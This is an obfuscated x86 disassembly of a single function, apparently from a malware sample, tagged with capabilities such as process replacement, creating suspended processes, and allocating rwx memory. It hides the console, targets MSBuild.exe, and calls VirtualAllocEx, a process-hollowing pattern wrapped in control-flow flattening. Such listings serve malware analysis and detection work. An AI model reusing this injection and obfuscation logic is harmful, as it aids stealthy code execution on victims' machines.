Function at 0x10006b00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x120
mov eax, dword [0x1006d800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0x6437a6ed
sub edx, 1
add edx, 0x6437a6ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x122], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x121], al
mov dword [ebp - 0x128], 0x44291e03
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x12c], eax
sub eax, 0x8024bd26
je 0x10009bf2
jmp 0x10006b7b
mov eax, dword [ebp - 0x12c]
sub eax, 0x8144c3d2
je 0x1000b33b
jmp 0x10006b91
mov eax, dword [ebp - 0x12c]
sub eax, 0x81759b6a
je 0x10009d01
jmp 0x10006ba7
mov eax, dword [ebp - 0x12c]
sub eax, 0x81dad6e1
je 0x1000dc87
jmp 0x10006bbd
mov eax, dword [ebp - 0x12c]
sub eax, 0x82194df2
je 0x1000c850
jmp 0x10006bd3
mov eax, dword [ebp - 0x12c]
sub eax, 0x8222dd83
je 0x1000d5f8
jmp 0x10006be9
mov eax, dword [ebp - 0x12c]
sub eax, 0x827c03e6
je 0x1000f4f6
jmp 0x10006bff
mov eax, dword [ebp - 0x12c]
sub eax, 0x82b28d8f
je 0x1000a216
jmp 0x10006c15
mov eax, dword [ebp - 0x12c]
sub eax, 0x846fbfb9
je 0x1000a330
jmp 0x10006c2b
mov eax, dword [ebp - 0x12c]
sub eax, 0x8559dad6
je 0x1000b74b
jmp 0x10006c41
mov eax, dword [ebp - 0x12c]
sub eax, 0x85c2434c
je 0x1000e4de
jmp 0x10006c57
mov eax, dword [ebp - 0x12c]
sub eax, 0x867b4779
je 0x1000bc14
jmp 0x10006c6d
mov eax, dword [ebp - 0x12c]
sub eax, 0x86d0c470
je 0x1000a6cd
jmp 0x10006c83
mov eax, dword [ebp - 0x12c]
sub eax, 0x8734c709
je 0x1000a77d
jmp 0x10006c99
mov eax, dword [ebp - 0x12c]
sub eax, 0x877ad223
je 0x1000e35a
jmp 0x10006caf
mov eax, dword [ebp - 0x12c]
sub eax, 0x88a03a11
je 0x1000c672
jmp 0x10006cc5
mov eax, dword [ebp - 0x12c]
sub eax, 0x88f449da
je 0x1000b6d5
jmp 0x10006cdb
mov eax, dword [ebp - 0x12c]
sub eax, 0x892c20d0
je 0x1000f16c
jmp 0x10006cf1
mov eax, dword [ebp - 0x12c]
sub eax, 0x894c7241
je 0x1000e748
jmp 0x10006d07
mov eax, dword [ebp - 0x12c]
sub eax, 0x8ac04f86
je 0x10009df8
jmp 0x10006d1d
mov eax, dword [ebp - 0x12c]
sub eax, 0x8ae72bf4
je 0x1000d96c
jmp 0x10006d33
mov eax, dword [ebp - 0x12c]
sub eax, 0x8b442dca
je 0x100094d2
jmp 0x10006d49
mov eax, dword [ebp - 0x12c]
sub eax, 0x8b49abd2
je 0x1000d406
jmp 0x10006d5f
mov eax, dword [ebp - 0x12c]
sub eax, 0x8b5815bd
je 0x1000e663
jmp 0x10006d75
mov eax, dword [ebp - 0x12c]
sub eax, 0x8bb7e6d5
je 0x1000d0a0
jmp 0x10006d8b
mov eax, dword [ebp - 0x12c]
sub eax, 0x8ca3a9f7
je 0x1000a7ef
jmp 0x10006da1
mov eax, dword [ebp - 0x12c]
sub eax, 0x8d03da94
je 0x1000c571
jmp 0x10006db7
mov eax, dword [ebp - 0x12c]
sub eax, 0x8dddde28
je 0x1000e3e9
jmp 0x10006dcd
mov eax, dword [ebp - 0x12c]
sub eax, 0x8dfd499e
je 0x1000e3c1
jmp 0x10006de3
mov eax, dword [ebp - 0x12c]
sub eax, 0x8e0b0032
je 0x1000d2bf
jmp 0x10006df9
mov eax, dword [ebp - 0x12c]
sub eax, 0x8eda0f55
je 0x1000b5af
jmp 0x10006e0f
mov eax, dword [ebp - 0x12c]
sub eax, 0x8f076071
je 0x1000f1ed
jmp 0x10006e25
mov eax, dword [ebp - 0x12c]
sub eax, 0x8f19bdfc
je 0x10009315
jmp 0x10006e3b
mov eax, dword [ebp - 0x12c]
sub eax, 0x8f7bb46a
je 0x1000974e
jmp 0x10006e51
mov eax, dword [ebp - 0x12c]
sub eax, 0x8f95a094
je 0x1000f5fb
jmp 0x10006e67
mov eax, dword [ebp - 0x12c]
sub eax, 0x902c5217
je 0x1000f019
jmp 0x10006e7d
mov eax, dword [ebp - 0x12c]
sub eax, 0x908277fc
je 0x1000a0ce
jmp 0x10006e93
mov eax, dword [ebp - 0x12c]
sub eax, 0x90af1c03
je 0x10009a7c
jmp 0x10006ea9
mov eax, dword [ebp - 0x12c]
sub eax, 0x90df8e61
je 0x1000f10f
jmp 0x10006ebf
mov eax, dword [ebp - 0x12c]
sub eax, 0x90e09d60
je 0x1000ad15
jmp 0x10006ed5
mov eax, dword [ebp - 0x12c]
sub eax, 0x91e43b44
je 0x1000cc27
jmp 0x10006eeb
mov eax, dword [ebp - 0x12c]
sub eax, 0x923519ed
je 0x1000d2b0
jmp 0x10006f01
mov eax, dword [ebp - 0x12c]
sub eax, 0x92dd2af5
je 0x1000a7e0
jmp 0x10006f17
mov eax, dword [ebp - 0x12c]
sub eax, 0x94725e98
je 0x1000f2c5
jmp 0x10006f2d
mov eax, dword [ebp - 0x12c]
sub eax, 0x948ed9b7
je 0x1000a28c
jmp 0x10006f43
mov eax, dword [ebp - 0x12c]
sub eax, 0x949d508c
je 0x1000995e
jmp 0x10006f59
mov eax, dword [ebp - 0x12c]
sub eax, 0x94c8b04c
je 0x1000f20e
jmp 0x10006f6f
mov eax, dword [ebp - 0x12c]
sub eax, 0x99965269
je 0x1000f744
jmp 0x10006f85
mov eax, dword [ebp - 0x12c]
sub eax, 0x99ba2b95
je 0x1000be6b
jmp 0x10006f9b
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ae4a9ac
je 0x1000998a
jmp 0x10006fb1
mov eax, dword [ebp - 0x12c]
sub eax, 0x9aec2603
je 0x1000b56a
jmp 0x10006fc7
mov eax, dword [ebp - 0x12c]
sub eax, 0x9bff3aaa
je 0x1000dd7c
jmp 0x10006fdd
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ca0cd6f
je 0x1000cb68
jmp 0x10006ff3
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d8c089a
je 0x1000a909
jmp 0x10007009
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d8cdb48
je 0x1000e1d8
jmp 0x1000701f
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ea38f90
je 0x1000a83f
jmp 0x10007035
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ed20a11
je 0x1000c40c
jmp 0x1000704b
mov eax, dword [ebp - 0x12c]
sub eax, 0x9f0e8614
je 0x1000eab3
jmp 0x10007061
mov eax, dword [ebp - 0x12c]
sub eax, 0x9f7e1a32
je 0x1000e279
jmp 0x10007077
mov eax, dword [ebp - 0x12c]
sub eax, 0xa06dc284
je 0x1000f547
jmp 0x1000708d
mov eax, dword [ebp - 0x12c]
sub eax, 0xa0946f6d
je 0x1000c907
jmp 0x100070a3
mov eax, dword [ebp - 0x12c]
sub eax, 0xa10749b8
je 0x1000d7fe
jmp 0x100070b9
mov eax, dword [ebp - 0x12c]
sub eax, 0xa15f280d
je 0x1000e865
jmp 0x100070cf
mov eax, dword [ebp - 0x12c]
sub eax, 0xa160be31
je 0x1000e121
jmp 0x100070e5
mov eax, dword [ebp - 0x12c]
sub eax, 0xa2342a0b
je 0x1000d3e5
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xf0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d3ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d3a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d3a4]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x29672319
jmp 0x1000fa56
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d3a0]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x5585bbdb
jmp 0x1000fa56
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d390]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x3f837334
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x4b7e9460
jmp 0x1000fa56
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d384]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x3f860c56
jmp 0x1000fa56
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d24c]
movss dword [eax], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0xb11b7cc1
sub edx, 1
add edx, 0xb11b7cc1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x21c83787
mov ecx, 0x28a0c93c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov dl, 1
mov eax, 0x4a68a7cc
mov ecx, 0xe93c79b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x4a68a7cc
jmp 0x1000fa56
mov dl, 1
mov eax, 0x3f274b34
mov ecx, 0x41080de7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x59dad8b4
sub edx, 1
sub edx, 0x59dad8b4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b01ea09
mov ecx, 0xe7b8136b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x691cde67
sub edx, 1
sub edx, 0x691cde67
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x836920b
mov ecx, 0x948ed9b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov dl, 1
mov eax, 0x1bfa01ad
mov ecx, 0x3f4a851b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x785078a5
sub edx, 1
sub edx, 0x785078a5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x538ebcbe
mov ecx, 0x1ae822c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001d328]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001d324]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x9f329ea
jmp 0x1000fa56
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001d22c]
movss dword [eax], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x77d35cde
sub edx, 1
add edx, 0x77d35cde
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x787af05c
mov ecx, 0x92dd2af5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x8ca3a9f7
jmp 0x1000fa56
mov dl, 1
mov eax, 0x6864c0fd
mov ecx, 0xe044d3f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x6864c0fd
jmp 0x1000fa56
mov dl, 1
mov eax, 0x314160a2
mov ecx, 0x2f00a1f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x678994c8
mov ecx, 0xd14e945e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x7e8b4515
sub edx, 1
add edx, 0x7e8b4515
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x730cec16
mov ecx, 0xb661ffb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d2f8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d2f4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d2f0]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x8eda0f55
jmp 0x1000fa56
mov dl, 1
mov eax, 0x88f449da
mov ecx, 0xa65d4f48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0x4a9e0671
sub edx, 1
add edx, 0x4a9e0671
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3320e00c
mov ecx, 0x8559dad6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d1f0]
movss dword [eax], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0xa5ec0510
sub edx, 1
add edx, 0xa5ec0510
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3320e00c
mov ecx, 0x6bc3a7ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d2d8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d2d4]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xa35c9eb2
jmp 0x1000fa56
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001d2cc]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x2a2a773
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd45cf8f0
mov ecx, 0xc1f95a08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov dl, 1
mov eax, 0x88a03a11
mov ecx, 0xd18da9a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001d2b8]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x47e162bf
jmp 0x1000fa56
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d1b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d1b4]
movss dword [eax], xmm0
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x3c4d532e
sub edx, 1
sub edx, 0x3c4d532e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7bd4cf5c
mov ecx, 0x6d31bf0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d2ac]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x4a27dbcd
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x4000546d
sub edx, 1
sub edx, 0x4000546d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8f95a094
mov ecx, 0x28de2f83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x194ee070
sub edx, 1
add edx, 0x194ee070
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c912952
mov ecx, 0xfb9b1de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x2754a0fa
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x8e0b0032
jmp 0x1000fa56
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x565afd3f
sub edx, 1
sub edx, 0x565afd3f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5d616e03
mov ecx, 0xca0b38fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d26c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x7bdff879
jmp 0x1000fa56
mov dl, 1
mov eax, 0xc12a7f34
mov ecx, 0x43dc9be0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10010d10
add esp, 0xc
mov eax, dword [ebp - 0xec]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10010d10
add esp, 0xc
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xe8]
mov byte [eax], cl
mov eax, dword [ebp - 0xe4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x9d], al
mov dword [ebp - 0x128], 0x2c09b0b0
jmp 0x1000fa56
mov dword [ebp - 0x128], 0x2bb6549d
jmp 0x1000fa56
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf0]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov edx, dword [ebp - 0xdc]
mov eax, 0x9bff3aaa
mov ecx, 0x74e54ea8
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd857cf6f
mov ecx, 0x4f4db38a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x6c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd4]
mov esi, dword [eax]
mov eax, dword [ebp - 0xc4]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x2e6e59bd
mov ecx, 0xb3d3579e
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x64], eax
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6a117b77
mov ecx, 0x5f698430
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov esi, dword [ebp - 0x64]
sub esi, 0x971afe2f
add esi, eax
add esi, 0x971afe2f
mov edx, dword [ebp - 0x68]
mov eax, 0x2e6e59bd
mov ecx, 0xa3c55a3d
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov ecx, dword [ebp - 0x54]
sub ecx, 0x2ccbe43f
add ecx, 1
add ecx, 0x2ccbe43f
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x128], 0x34a5b78d
jmp 0x1000fa56
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x128], 0x8dddde28
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x2a20d2a3
sub edx, 1
sub edx, 0x2a20d2a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x77630546
mov ecx, 0x59598ab5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe93b0728
mov ecx, 0xf54e5184
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov dword [ebp - 0x128], 0xd9536892
jmp 0x1000fa56
mov dword [ebp - 0x128], 0xf55cda46
jmp 0x1000fa56
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0xa5f34027
sub edx, 1
sub edx, 0xa5f34027
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb63939fb
mov ecx, 0xc43c3d23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fa56
mov eax, dword [ebp - 0xb4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov dword [ebp - 0x128], 0x4c68a4ff
jmp 0x1000fa56
mov dword [ebp - 0x128], 0xc68a16a3
jmp 0x1000fa56
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001d238]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x2b869149
jmp 0x1000fa56
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001d234]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xc28081e2
jmp 0x1000fa56
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001d228]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xa6322c90
jmp 0x1000fa56
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d224]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
